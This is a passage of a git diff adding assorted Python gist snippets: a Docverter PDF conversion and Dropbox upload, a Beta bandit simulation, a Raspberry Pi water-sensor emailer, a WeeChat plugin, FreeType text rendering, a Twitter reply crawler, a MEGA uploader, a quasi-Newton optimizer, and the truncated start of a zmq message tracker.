+    content_type, body = encode_multipart_formdata(fields, files)
+    h = httplib.HTTPConnection(host)
+    h.putrequest('POST', selector)
+    h.putheader('content-type', content_type)
+    h.putheader('content-length', str(len(body)))
+    h.endheaders()
+    h.send(body)
+    response = h.getresponse()
+    output = response.read()
+    return output
+    # return h.file.read()
+ 
+def encode_multipart_formdata(fields, files):
+    """
+    fields is a sequence of (name, value) elements for regular form fields.
+    files is a sequence of (name, filename, value) elements for data to be uploaded as files
+    Return (content_type, body) ready for httplib.HTTP instance
+    """
+    BOUNDARY = '----------ThIs_Is_tHe_bouNdaRY_$'
+    CRLF = '\r\n'
+    L = []
+    for (key, value) in fields:
+        L.append('--' + BOUNDARY)
+        L.append('Content-Disposition: form-data; name="%s"' % key)
+        L.append('')
+        L.append(value)
+    for (key, filename, value) in files:
+        L.append('--' + BOUNDARY)
+        L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename))
+        L.append('Content-Type: %s' % get_content_type(filename))
+        L.append('')
+        L.append(value)
+    L.append('--' + BOUNDARY + '--')
+    L.append('')
+    body = CRLF.join(L)
+    content_type = 'multipart/form-data; boundary=%s' % BOUNDARY
+    return content_type, body
+ 
+def get_content_type(filename):
+    return mimetypes.guess_type(filename)[0] or 'application/octet-stream'
+ 
+## end of http://code.activestate.com/recipes/146306/ }}}
+ 
+## Now let's DO this. First put some markdown text on your clipboard.
+ 
+## Put clipboard contents in a file to send to Docverter.
+input_text = clipboard.get()
+f = open("docverterin.txt", "w").write(input_text)
+
+## Use CSS to style your output. I've included some sensible defaults.
+css = """
+body {margin: 4em; }
+p {line-height: 1.2em; text-align: justify;}
+h1, h2, h3, h4 {font-weight: normal;}
+sup {line-height: 0;}
+hr {border: 1px #eee solid; margin-top: 2em; margin-botom: 2em; width: 70%;}
+pre {white-space: pre-wrap; word-wrap: break-word;}
+"""
+# Use CSS3 Paged Media Module to number pages of PDF, set margins.
+page_info = "@page {margin: 1in; @bottom-center{content: counter(page)}}"
+c = open("docverter.css", "w").write(css + page_info)
+
+## Set Docverter options and define fields using lists.
+## Other options available at http://www.docverter.com/api.html#toc_2
+fields = [("from", "markdown"), ("to", "pdf"), ("css", "docverter.css")]
+files = [("input_files[]", "docverterin.txt", open("docverterin.txt", "r").read()), ("other_files[]", "docverter.css", open("docverter.css","r").read())]
+ 
+## Post to Docverter using post_multipart()
+output = post_multipart("c.docverter.com", "/convert", fields, files)
+ 
+## Write output to a PDF file, appending timestamp to filename. 
+today = datetime.datetime.now()
+outfile = 'output-' + today.strftime('%Y%m%d-%H%M%S') + '.pdf'
+o = open(outfile, "w").write(output)
+
+## Upload file to Dropbox, appending timestamp to filename
+o = open(outfile)
+upload = dropbox_client.put_file(outfile, o)
diff --git a/hard-gists/5478642/._snippet.py b/hard-gists/5478642/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5478642/._snippet.py differ
diff --git a/hard-gists/5478642/snippet.py b/hard-gists/5478642/snippet.py
new file mode 100644
index 00000000..14dd8ad7
--- /dev/null
+++ b/hard-gists/5478642/snippet.py
@@ -0,0 +1,67 @@
+from numpy import *
+from scipy.stats import beta
+import random
+
+
+class BetaBandit(object):
+    def __init__(self, num_options=2, prior=None):
+        self.trials = zeros(shape=(num_options,), dtype=int)
+        self.successes = zeros(shape=(num_options,), dtype=int)
+        self.num_options = num_options
+        if prior is None:
+            prior = [ (1.0, 1.0) for i in range(num_options)]
+        self.prior = prior
+
+    def add_result(self, trial_id, success):
+        self.trials[trial_id] = self.trials[trial_id] + 1
+        if (success):
+            self.successes[trial_id] = self.successes[trial_id] + 1
+
+    def get_recommendation(self):
+        sampled_theta = []
+        for i in range(self.num_options):
+            #Construct beta distribution for posterior
+            dist = beta(self.prior[i][0]+self.successes[i],
+                        self.prior[i][1]+self.trials[i]-self.successes[i])
+            #Draw sample from beta distribution
+            sampled_theta += [ dist.rvs() ]
+        # Return the index of the sample with the largest value
+        return sampled_theta.index( max(sampled_theta) )
+
+prior_params = [(9.0,20.0), (4.0,20.0)]
+priors = [beta(*x) for x in prior_params]
+
+def gain(theta, choice):
+    if (random.random() < theta[choice]):
+        return 1
+    else:
+        return 0
+
+def gain_bandit(theta, num_trials):
+    bb = BetaBandit(2)
+    g = 0
+    for i in range(int(num_trials)):
+        choice = bb.get_recommendation()
+        g += gain(theta, choice)
+    return g
+
+def gain_prior(theta, num_trials):
+    bb = BetaBandit(2, prior_params)
+    g = 0
+    for i in range(int(num_trials)):
+        choice = bb.get_recommendation()
+        g += gain(theta, choice)
+    return g
+
+num_trials = 50.0
+N = 2000
+tg = 0
+tgb = 0
+
+for i in range(N):
+    theta = [ p.rvs() for p in priors]
+    tg += gain_bandit(theta, num_trials) / num_trials
+    tgb += gain_prior(theta, num_trials) / num_trials
+
+print "Base gain: " + str(float(tg)/N)
+print "Prior gain: " + str(float(tgb)/N)
diff --git a/hard-gists/5480533/._snippet.py b/hard-gists/5480533/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5480533/._snippet.py differ
diff --git a/hard-gists/5480533/snippet.py b/hard-gists/5480533/snippet.py
new file mode 100644
index 00000000..ca1c50e9
--- /dev/null
+++ b/hard-gists/5480533/snippet.py
@@ -0,0 +1,140 @@
+#!/usr/bin/python
+
+#########
+# About #
+#########
+
+# This script uses a Raspberry Pi to sense for the presense or absense of water. 
+# If there is water, an email is sent and a buzzer goes off.
+# When it's dry again, another email is sent, and the buzzer turns off.
+
+# To run this script at boot, edit /etc/rc.local to include (no quotes) 'sudo python <pathtoyourscript>.py'
+# Schematic here: http://fritzing.org/projects/raspberry-pi-water-sensor/
+
+
+###########
+# License #
+###########
+# Released under the WTFPL. 
+#Full text and more information here: http://en.wikipedia.org/wiki/WTFPL
+
+########################################
+# Gmail login credentials to send email#
+########################################
+
+username = 'exampleusername' #you don't need the "@gmail.com" bit.
+password = 'examplepassword'
+
+############################
+# General Email Parameters #
+############################ 
+
+From = "senderaddress@domain.com"
+To =  "recipientaddress#domain.com"
+
+#######################################
+# Email Parameters when sensor is Wet #
+#######################################
+
+Subject_wet = "RPi Water Sensor is WET"
+Body_wet = "Your water sensor is wet."
+
+#######################################
+# Email Parameters when semsor is Dry #
+#######################################
+
+Subject_dry = "RPi Water Sensor is DRY"
+Body_dry = " Your water sensor is dry again!"
+
+import smtplib
+from email.mime.text import MIMEText
+import RPi.GPIO as GPIO
+import string
+import time
+
+# Function Definitions
+
+#takes either "wet" or "dry" as the condition.
+def email(condition):
+    print "Attempting to send email"
+    if condition == 'wet':
+        Body = string.join((
+        "From: %s" % From,
+        "To: %s" % To,
+        "Subject: %s" % Subject_wet,
+        "",
+        Body_wet,
+        ), "\r\n")
+    if condition == 'dry':        
+        Body = string.join((
+            "From: %s" % From,
+            "To: %s" % To,
+            "Subject: %s" % Subject_dry,
+            "",
+            Body_dry,
+            ), "\r\n")
+    
+    # The actual mail send
+    server = smtplib.SMTP('smtp.gmail.com:587')
+    server.starttls()
+    print "Logging in..."
+    server.login(username,password)
+    print "Logged in as "+username+"."
+    server.sendmail(From, [To], Body)
+    server.quit()
+    print "Email sent."
+
+#Tests whether wter is present.
+# returns 0 for dry
+# returns 1 for wet
+# tested to work on pin 18 
+def RCtime (RCpin):
+    reading = 0
+    GPIO.setmode(GPIO.BCM)
+    GPIO.setup(RCpin, GPIO.OUT)
+    GPIO.output(RCpin, GPIO.LOW)
+    time.sleep(0.1) 
+    GPIO.setup(RCpin, GPIO.IN)
+    # This takes about 1 millisecond per loop cycle
+    while True:
+        if (GPIO.input(RCpin) == GPIO.LOW):
+            reading += 1
+        if reading >= 1000:
+            return 0
+        if (GPIO.input(RCpin) != GPIO.LOW):
+            return 1
+
+# Turns on the piezo buzzer 
+# tested to work on pin 17
+def buzz_on (pin):
+
+    GPIO.setmode(GPIO.BCM)
+    GPIO.setup(pin, GPIO.OUT)
+    GPIO.output(pin, GPIO.HIGH)
+
+# Turns off the piezo buzzer
+# tested to work on pin 17
+def buzz_off(pin):
+
+    GPIO.setmode(GPIO.BCM)
+    GPIO.setup(pin, GPIO.OUT)
+    GPIO.output(pin, GPIO.LOW)
+
+# Main Loop
+
+print 'Waiting for wetness...'
+while True:
+    time.sleep(1) # check for wetness every second
+    if RCtime(18) == 1:
+        buzz_on(17)
+        print "Sensor is wet"
+        email('wet')
+        print "Waiting for dryness..."
+        while True:
+            time.sleep(1) # check for dryness every second
+            if RCtime(18) == 0:
+                buzz_off(17)
+                print "Sensor is dry again"
+                email('dry')
+                print "Waiting for wetness..."
+                break
\ No newline at end of file
diff --git a/hard-gists/5487749/._snippet.py b/hard-gists/5487749/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5487749/._snippet.py differ
diff --git a/hard-gists/5487749/snippet.py b/hard-gists/5487749/snippet.py
new file mode 100644
index 00000000..a710a20a
--- /dev/null
+++ b/hard-gists/5487749/snippet.py
@@ -0,0 +1,35 @@
+#!/usr/bin/python
+
+from random import choice, randint
+import weechat
+
+NAME = 'do'
+AUTHOR = 'aji <http://ajitek.net>'
+VERSION = '1.0'
+LICENSE = 'MIT'
+DESC = 'print commands before doing them'
+
+CMD_NAME = 'do'
+CMD_DESC = 'say what you\'ll do, then do it'
+CMD_ARGS = '[command]'
+CMD_ARGS_DESC = 'command to do'
+
+def cmd_do(data, buf, args):
+    if len(args) == 0:
+        return weechat.WEECHAT_RC_ERROR
+
+    while True:
+        if args[0] != '/':
+            args = '/' + args
+        weechat.command(buf, '/say ' + args)
+        x, _, y = args.partition(' ')
+        if x == '/do':
+            args = y
+        else:
+            weechat.command(buf, args)
+            return weechat.WEECHAT_RC_OK
+
+if __name__ == '__main__':
+    weechat.register(NAME, AUTHOR, VERSION, LICENSE, DESC, '', '')
+    weechat.hook_command(CMD_NAME, CMD_DESC, CMD_ARGS, CMD_ARGS_DESC,
+                         '', 'cmd_do', '')
diff --git a/hard-gists/5488053/._snippet.py b/hard-gists/5488053/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5488053/._snippet.py differ
diff --git a/hard-gists/5488053/snippet.py b/hard-gists/5488053/snippet.py
new file mode 100644
index 00000000..b835eb87
--- /dev/null
+++ b/hard-gists/5488053/snippet.py
@@ -0,0 +1,256 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+# Needs freetype-py>=1.0
+
+# For more info see:
+# http://dbader.org/blog/monochrome-font-rendering-with-freetype-and-python
+
+# The MIT License (MIT)
+#
+# Copyright (c) 2013 Daniel Bader (http://dbader.org)
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+
+import freetype
+
+
+class Bitmap(object):
+    """
+    A 2D bitmap image represented as a list of byte values. Each byte indicates the state
+    of a single pixel in the bitmap. A value of 0 indicates that the pixel is `off`
+    and any other value indicates that it is `on`.
+    """
+    def __init__(self, width, height, pixels=None):
+        self.width = width
+        self.height = height
+        self.pixels = pixels or bytearray(width * height)
+
+    def __repr__(self):
+        """Return a string representation of the bitmap's pixels."""
+        rows = ''
+        for y in range(self.height):
+            for x in range(self.width):
+                rows += '#' if self.pixels[y * self.width + x] else '.'
+            rows += '\n'
+        return rows
+
+    def bitblt(self, src, x, y):
+        """Copy all pixels from `src` into this bitmap"""
+        srcpixel = 0
+        dstpixel = y * self.width + x
+        row_offset = self.width - src.width
+
+        for sy in range(src.height):
+            for sx in range(src.width):
+                # Perform an OR operation on the destination pixel and the source pixel
+                # because glyph bitmaps may overlap if character kerning is applied, e.g.
+                # in the string "AVA", the "A" and "V" glyphs must be rendered with
+                # overlapping bounding boxes.
+                self.pixels[dstpixel] = self.pixels[dstpixel] or src.pixels[srcpixel]
+                srcpixel += 1
+                dstpixel += 1
+            dstpixel += row_offset
+
+
+class Glyph(object):
+    def __init__(self, pixels, width, height, top, advance_width):
+        self.bitmap = Bitmap(width, height, pixels)
+
+        # The glyph bitmap's top-side bearing, i.e. the vertical distance from the
+        # baseline to the bitmap's top-most scanline.
+        self.top = top
+
+        # Ascent and descent determine how many pixels the glyph extends
+        # above or below the baseline.
+        self.descent = max(0, self.height - self.top)
+        self.ascent = max(0, max(self.top, self.height) - self.descent)
+
+        # The advance width determines where to place the next character horizontally,
+        # that is, how many pixels we move to the right to draw the next glyph.
+        self.advance_width = advance_width
+
+    @property
+    def width(self):
+        return self.bitmap.width
+
+    @property
+    def height(self):
+        return self.bitmap.height
+
+    @staticmethod
+    def from_glyphslot(slot):
+        """Construct and return a Glyph object from a FreeType GlyphSlot."""
+        pixels = Glyph.unpack_mono_bitmap(slot.bitmap)
+        width, height = slot.bitmap.width, slot.bitmap.rows
+        top = slot.bitmap_top
+
+        # The advance width is given in FreeType's 26.6 fixed point format,
+        # which means that the pixel values are multiples of 64.
+        advance_width = slot.advance.x / 64
+
+        return Glyph(pixels, width, height, top, advance_width)
+
+    @staticmethod
+    def unpack_mono_bitmap(bitmap):
+        """
+        Unpack a freetype FT_LOAD_TARGET_MONO glyph bitmap into a bytearray where each
+        pixel is represented by a single byte.
+        """
+        # Allocate a bytearray of sufficient size to hold the glyph bitmap.
+        data = bytearray(bitmap.rows * bitmap.width)
+
+        # Iterate over every byte in the glyph bitmap. Note that we're not
+        # iterating over every pixel in the resulting unpacked bitmap --
+        # we're iterating over the packed bytes in the input bitmap.
+        for y in range(bitmap.rows):
+            for byte_index in range(bitmap.pitch):
+
+                # Read the byte that contains the packed pixel data.
+                byte_value = bitmap.buffer[y * bitmap.pitch + byte_index]
+
+                # We've processed this many bits (=pixels) so far. This determines
+                # where we'll read the next batch of pixels from.
+                num_bits_done = byte_index * 8
+
+                # Pre-compute where to write the pixels that we're going
+                # to unpack from the current byte in the glyph bitmap.
+                rowstart = y * bitmap.width + byte_index * 8
+
+                # Iterate over every bit (=pixel) that's still a part of the
+                # output bitmap. Sometimes we're only unpacking a fraction of a byte
+                # because glyphs may not always fit on a byte boundary. So we make sure
+                # to stop if we unpack past the current row of pixels.
+                for bit_index in range(min(8, bitmap.width - num_bits_done)):
+
+                    # Unpack the next pixel from the current glyph byte.
+                    bit = byte_value & (1 << (7 - bit_index))
+
+                    # Write the pixel to the output bytearray. We ensure that `off`
+                    # pixels have a value of 0 and `on` pixels have a value of 1.
+                    data[rowstart + bit_index] = 1 if bit else 0
+
+        return data
+
+
+class Font(object):
+    def __init__(self, filename, size):
+        self.face = freetype.Face(filename)
+        self.face.set_pixel_sizes(0, size)
+
+    def glyph_for_character(self, char):
+        # Let FreeType load the glyph for the given character and tell it to render
+        # a monochromatic bitmap representation.
+        self.face.load_char(char, freetype.FT_LOAD_RENDER | freetype.FT_LOAD_TARGET_MONO)
+        return Glyph.from_glyphslot(self.face.glyph)
+
+    def render_character(self, char):
+        glyph = self.glyph_for_character(char)
+        return glyph.bitmap
+
+    def kerning_offset(self, previous_char, char):
+        """
+        Return the horizontal kerning offset in pixels when rendering `char`
+        after `previous_char`.
+
+        Use the resulting offset to adjust the glyph's drawing position to
+        reduces extra diagonal whitespace, for example in the string "AV" the
+        bitmaps for "A" and "V" may overlap slightly with some fonts. In this
+        case the glyph for "V" has a negative horizontal kerning offset as it is
+        moved slightly towards the "A".
+        """
+        kerning = self.face.get_kerning(previous_char, char)
+
+        # The kerning offset is given in FreeType's 26.6 fixed point format,
+        # which means that the pixel values are multiples of 64.
+        return kerning.x / 64
+
+    def text_dimensions(self, text):
+        """Return (width, height, baseline) of `text` rendered in the current font."""
+        width = 0
+        max_ascent = 0
+        max_descent = 0
+        previous_char = None
+
+        # For each character in the text string we get the glyph
+        # and update the overall dimensions of the resulting bitmap.
+        for char in text:
+            glyph = self.glyph_for_character(char)
+            max_ascent = max(max_ascent, glyph.ascent)
+            max_descent = max(max_descent, glyph.descent)
+            kerning_x = self.kerning_offset(previous_char, char)
+
+            # With kerning, the advance width may be less than the width of the glyph's bitmap.
+            # Make sure we compute the total width so that all of the glyph's pixels
+            # fit into the returned dimensions.
+            width += max(glyph.advance_width + kerning_x, glyph.width + kerning_x)
+
+            previous_char = char
+
+        height = max_ascent + max_descent
+        return (width, height, max_descent)
+
+    def render_text(self, text, width=None, height=None, baseline=None):
+        """
+        Render the given `text` into a Bitmap and return it.
+
+        If `width`, `height`, and `baseline` are not specified they are computed using
+        the `text_dimensions' method.
+        """
+        if None in (width, height, baseline):
+            width, height, baseline = self.text_dimensions(text)
+
+        x = 0
+        previous_char = None
+        outbuffer = Bitmap(width, height)
+
+        for char in text:
+            glyph = self.glyph_for_character(char)
+
+            # Take kerning information into account before we render the
+            # glyph to the output bitmap.
+            x += self.kerning_offset(previous_char, char)
+
+            # The vertical drawing position should place the glyph
+            # on the baseline as intended.
+            y = height - glyph.ascent - baseline
+
+            outbuffer.bitblt(glyph.bitmap, x, y)
+
+            x += glyph.advance_width
+            previous_char = char
+
+        return outbuffer
+
+if __name__ == '__main__':
+    # Be sure to place 'helvetica.ttf' (or any other ttf / otf font file) in the working directory.
+    fnt = Font('helvetica.ttf', 24)
+
+    # Single characters
+    ch = fnt.render_character('e')
+    print(repr(ch))
+
+    # Multiple characters
+    txt = fnt.render_text('hello')
+    print(repr(txt))
+
+    # Kerning
+    print(repr(fnt.render_text('AV Wa')))
+
+    # Choosing the baseline correctly
+    print(repr(fnt.render_text('hello, world.')))
diff --git a/hard-gists/54e6f7d63df3866a87a15aed17b51eaf/._snippet.py b/hard-gists/54e6f7d63df3866a87a15aed17b51eaf/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/54e6f7d63df3866a87a15aed17b51eaf/._snippet.py differ
diff --git a/hard-gists/54e6f7d63df3866a87a15aed17b51eaf/snippet.py b/hard-gists/54e6f7d63df3866a87a15aed17b51eaf/snippet.py
new file mode 100644
index 00000000..3e1b5725
--- /dev/null
+++ b/hard-gists/54e6f7d63df3866a87a15aed17b51eaf/snippet.py
@@ -0,0 +1,90 @@
+#!/usr/bin/env python
+
+"""
+
+Twitter's API doesn't allow you to get replies to a particular tweet. Strange
+but true. But you can use Twitter's Search API to search for tweets that are
+directed at a particular user, and then search through the results to see if 
+any are replies to a given tweet. You probably are also interested in the
+replies to any replies as well, so the process is recursive. The big caveat 
+here is that the search API only returns results for the last 7 days. So 
+you'll want to run this sooner rather than later.
+
+replies.py will read a line oriented JSON file of tweets and look for replies
+using the above heuristic. Any replies that are discovered will be written as
+line oriented JSON to stdout:
+
+    ./replies.py tweets.json > replies.json
+
+It also writes a log to replies.log if you are curious what it is doing...which
+can be handy since it will sleep for periods of time to work within the 
+Twitter API quotas.
+
+PS. you'll need to:
+
+    pip install python-twitter
+
+and then set the following environment variables for it to work:
+
+  - CONSUMER_KEY
+  - CONSUMER_SECRET
+  - ACCESS_TOKEN
+  - ACCESS_TOKEN_SECRET
+
+"""
+
+import sys
+import json
+import time
+import logging
+import twitter
+import urllib.parse
+
+from os import environ as e
+
+t = twitter.Api(
+    consumer_key=e["CONSUMER_KEY"],
+    consumer_secret=e["CONSUMER_SECRET"],
+    access_token_key=e["ACCESS_TOKEN"],
+    access_token_secret=e["ACCESS_TOKEN_SECRET"],
+    sleep_on_rate_limit=True
+)
+
+def tweet_url(t):
+    return "https://twitter.com/%s/status/%s" % (t.user.screen_name, t.id)
+
+def get_tweets(filename):
+    for line in open(filename):
+        yield twitter.Status.NewFromJsonDict(json.loads(line))
+
+def get_replies(tweet):
+    user = tweet.user.screen_name
+    tweet_id = tweet.id
+    max_id = None
+    logging.info("looking for replies to: %s" % tweet_url(tweet))
+    while True:
+        q = urllib.parse.urlencode({"q": "to:%s" % user})
+        try:
+            replies = t.GetSearch(raw_query=q, since_id=tweet_id, max_id=max_id, count=100)
+        except twitter.error.TwitterError as e:
+            logging.error("caught twitter api error: %s", e)
+            time.sleep(60)
+            continue
+        for reply in replies:
+            logging.info("examining: %s" % tweet_url(reply))
+            if reply.in_reply_to_status_id == tweet_id:
+                logging.info("found reply: %s" % tweet_url(reply))
+                yield reply
+                # recursive magic to also get the replies to this reply
+                for reply_to_reply in get_replies(reply):
+                    yield reply_to_reply
+            max_id = reply.id
+        if len(replies) != 100:
+            break
+
+if __name__ == "__main__":
+    logging.basicConfig(filename="replies.log", level=logging.INFO)
+    tweets_file = sys.argv[1]
+    for tweet in get_tweets(tweets_file):
+        for reply in get_replies(tweet):
+            print(reply.AsJsonString())
diff --git a/hard-gists/5502087/._snippet.py b/hard-gists/5502087/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5502087/._snippet.py differ
diff --git a/hard-gists/5502087/snippet.py b/hard-gists/5502087/snippet.py
new file mode 100644
index 00000000..9782f22b
--- /dev/null
+++ b/hard-gists/5502087/snippet.py
@@ -0,0 +1,37 @@
+#!/usr/bin/env python
+#
+#require: https://github.com/richardasaurus/mega.py
+#
+import os
+import sys
+from mega import Mega
+
+mega = Mega({'verbose': True})
+m = mega.login('megauseremail', 'megapass')
+
+curDir = os.getcwd() + os.path.sep
+dstDirId = None
+
+if len(sys.argv)>1 and sys.argv[1]:
+	srcs = sys.argv[1:]
+else:
+	srcs = None
+
+print srcs
+
+if srcs:
+	if len(srcs) > 1 and not os.path.isfile( srcs[-1] ):#if last param isn't a local file then it is dest remote folder
+		dstName = srcs.pop()
+		dstId = m.find( dstName )
+		if dstId:
+			dstDirId = dstId[0]
+			print 'Destination Folder: '+ dstName
+
+	for src in srcs:
+		srcFile = curDir + src
+		if os.path.isfile( srcFile ):
+			#print srcFile
+			#print dstDirId
+			uppedFile = m.upload(srcFile, dstDirId)
+			print uppedFile
+			print 'Upped File Link: ' + m.get_upload_link( uppedFile )
diff --git a/hard-gists/550fe172cd277bb2f057574f2e75aff4/._snippet.py b/hard-gists/550fe172cd277bb2f057574f2e75aff4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/550fe172cd277bb2f057574f2e75aff4/._snippet.py differ
diff --git a/hard-gists/550fe172cd277bb2f057574f2e75aff4/snippet.py b/hard-gists/550fe172cd277bb2f057574f2e75aff4/snippet.py
new file mode 100644
index 00000000..ad357d7f
--- /dev/null
+++ b/hard-gists/550fe172cd277bb2f057574f2e75aff4/snippet.py
@@ -0,0 +1,162 @@
+import numpy as np
+from scipy.linalg import blas
+from scipy.ndimage import zoom
+
+# Machine epsilon for float32
+EPS = np.finfo(np.float32).eps
+
+
+# pylint: disable=no-member
+def dot(x, y):
+    """Returns the dot product of two float32 arrays with the same shape."""
+    return blas.sdot(x.ravel(), y.ravel())
+
+
+# pylint: disable=no-member
+def axpy(a, x, y):
+    """Sets y = a*x + y for float a and float32 arrays x, y and returns y."""
+    y_ = blas.saxpy(x.ravel(), y.ravel(), a=a).reshape(y.shape)
+    if y is not y_:
+        y[:] = y_
+    return y
+
+
+def resize(arr, size, order=1):
+    """Resamples a CxHxW NumPy float array to a different HxW shape."""
+    h, w = size
+    resized_arr = zoom(arr, (1, h/arr.shape[1], w/arr.shape[2]), order=order, mode='wrap')
+    assert resized_arr.shape[1:] == size
+    return resized_arr
+
+
+def roll2(arr, xy):
+    """Translates an array by the shift xy, wrapping at the edges."""
+    if (xy == 0).all():
+        return arr
+    return np.roll(np.roll(arr, xy[0], -1), xy[1], -2)
+
+
+class DMSQNOptimizer:
+    """Implements an experimental Quasi-Newton optimizer that incorporates Hessian damping,
+    momentum, per-feature learning rate scaling, and iterate averaging."""
+    def __init__(self, params, step_size=2, averaging=True, avg_decay=3, n_corr=10, b1=0.75,
+                 phi=0.2):
+        """Initializes the optimizer."""
+        self.params = params
+        self.step_size = step_size
+        self.averaging = averaging
+        assert avg_decay >= 0
+        self.avg_decay = avg_decay
+        self.n_corr = n_corr
+        self.b1 = b1
+        self.phi = phi
+
+        self.step = 0
+        self.xy = np.zeros(2, dtype=np.int32)
+        self.grad = None
+        self.g1 = np.zeros_like(params)
+        self.g2 = np.zeros_like(params) + EPS
+        self.p1 = params.copy()
+        self.sk = []
+        self.yk = []
+
+    def update(self, opfunc):
+        """Returns a step's parameter update given a loss/gradient evaluation function."""
+        self.step += 1
+
+        if self.step == 1:
+            _, self.grad = opfunc(self.params)
+            self.g1 *= self.b1
+            self.g1 += self.grad
+            self.g2 += self.grad**2
+
+        # Compute step, loss, and gradient
+        self.g1 *= self.b1
+        s = -self.step_size * self.inv_hv(self.g1 + self.grad)
+        self.params += s
+        loss, grad = opfunc(self.params)
+        self.g1 += grad
+        self.g2 += grad**2
+
+        # Store curvature pair and gradient
+        y = (1 - self.phi) * (grad - self.grad)
+        axpy(self.phi, s, y)
+        y *= np.sqrt(self.g2)
+        self.store_curvature_pair(s, y)
+        self.grad = grad
+
+        # Polynomial-decay averaging
+        weight = (1 + self.avg_decay) / (self.step + self.avg_decay)
+        self.p1 *= 1 - weight
+        axpy(weight, self.params, self.p1)
+        if self.averaging:
+            return self.p1, loss
+        else:
+            return self.params, loss
+
+    def store_curvature_pair(self, s, y):
+        """Updates the L-BFGS memory with a new curvature pair."""
+        self.sk.append(s)
+        self.yk.append(y)
+        if len(self.sk) > self.n_corr:
+            self.sk, self.yk = self.sk[1:], self.yk[1:]
+
+    def inv_hv(self, p):
+        """Computes the product of a vector with an approximation of the inverse Hessian."""
+        p = p.copy()
+        alphas = []
+        for s, y in zip(reversed(self.sk), reversed(self.yk)):
+            alphas.append(dot(s, p) / dot(s, y))
+            axpy(-alphas[-1], y, p)
+
+        if len(self.sk) > 0:
+            s, y = self.sk[-1], self.yk[-1]
+            p *= dot(s, y) / dot(y, y)
+        else:
+            p /= np.sqrt(self.g2)
+
+        for s, y, alpha in zip(self.sk, self.yk, reversed(alphas)):
+            beta = dot(y, p) / dot(s, y)
+            axpy(alpha - beta, s, p)
+
+        return p
+
+    def roll(self, xy):
+        """Rolls the optimizer's internal state."""
+        if (xy == 0).all():
+            return
+        self.xy += xy
+        if self.grad is not None:
+            self.grad[:] = roll2(self.grad, xy)
+        self.g1[:] = roll2(self.g1, xy)
+        self.g2[:] = roll2(self.g2, xy)
+        self.p1[:] = roll2(self.p1, xy)
+        for i in range(len(self.sk)):
+            self.sk[i][:] = roll2(self.sk[i], xy)
+            self.yk[i][:] = roll2(self.yk[i], xy)
+
+    def set_params(self, last_iterate):
+        """Sets params to the supplied array, partially clearing the optimizer's internal state."""
+        self.step = 0
+        self.params = last_iterate
+        self.grad = None
+        xy = self.params.shape[-2:]
+        self.g1 = resize(self.g1, xy)
+        self.g2 = np.maximum(resize(self.g2, xy), EPS) * (self.g2.size / last_iterate.size)
+        self.p1 = np.zeros_like(last_iterate)
+        self.sk = []
+        self.yk = []
+
+    def restore_state(self, optimizer):
+        """Given a DMSQNOptimizer instance, restores internal state from it."""
+        assert isinstance(optimizer, DMSQNOptimizer)
+        self.params = optimizer.params
+        self.grad = optimizer.grad
+        self.g1 = optimizer.g1
+        self.g2 = optimizer.g2
+        self.p1 = optimizer.p1
+        self.sk = optimizer.sk
+        self.yk = optimizer.yk
+        self.step = optimizer.step
+        self.xy = optimizer.xy.copy()
+        self.roll(-self.xy)
diff --git a/hard-gists/5515619/._snippet.py b/hard-gists/5515619/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5515619/._snippet.py differ
diff --git a/hard-gists/5515619/snippet.py b/hard-gists/5515619/snippet.py
new file mode 100644
index 00000000..3e26ce1e
--- /dev/null
+++ b/hard-gists/5515619/snippet.py
@@ -0,0 +1,335 @@
+import eventlet
+eventlet.monkey_patch()
+from eventlet.green import zmq
+from eventlet.event import Event
+
+import inspect, time
+from marshal import dumps, loads
+from time import time as unixtime
+
+# http://anthon.home.xs4all.nl/Python/ordereddict/
+try:
+    from _ordereddict import ordereddict as OrderedDict
+except ImportError:    
+    try:
+        from collections import OrderedDict    
+    except ImportError:
+        from ordereddict import OrderedDict
+
+class MessageError(RuntimeError):
+    """
+    An error has occurred while processing the message, the cause could be on
+    the client side (e.g. a Timeout) or on the server side (Exception or unknown
+    API call).
+    """
+    pass
+
+class MessageTimeoutError(MessageError):
+    """
+    Raised when the message expiry time has been reached but no reply has been
+    recieved.
+    """
+    pass
+
+class MessageTracker(object):
+    """
+    Tracks messages which have been sent that are waiting for a reply.
+    """
+    __slots__ = ('_estor', '_kstor', '_stopevent')
+
+    def __init__(self):
+        # We must use a structure which supports ordered traversal and removal
+        # of specific items, OrderedDict() is the only one I could find.
+        self._estor = OrderedDict()
+        self._kstor = {}
+        self._stopevent = Event()
+
+    def track(self, msg):
+        """
+        Start tracking a message, the returned Event is notified when a response
+        is recieved or an error or timeout occurs.
+
+        :param msg: Message Tuple 
+        :returns: eventlet Event
+        """        
+        assert isinstance(msg, (tuple, list))
+        uid = int(msg[4])
+        if uid in self._kstor:
+            ekey = self._kstor[uid]
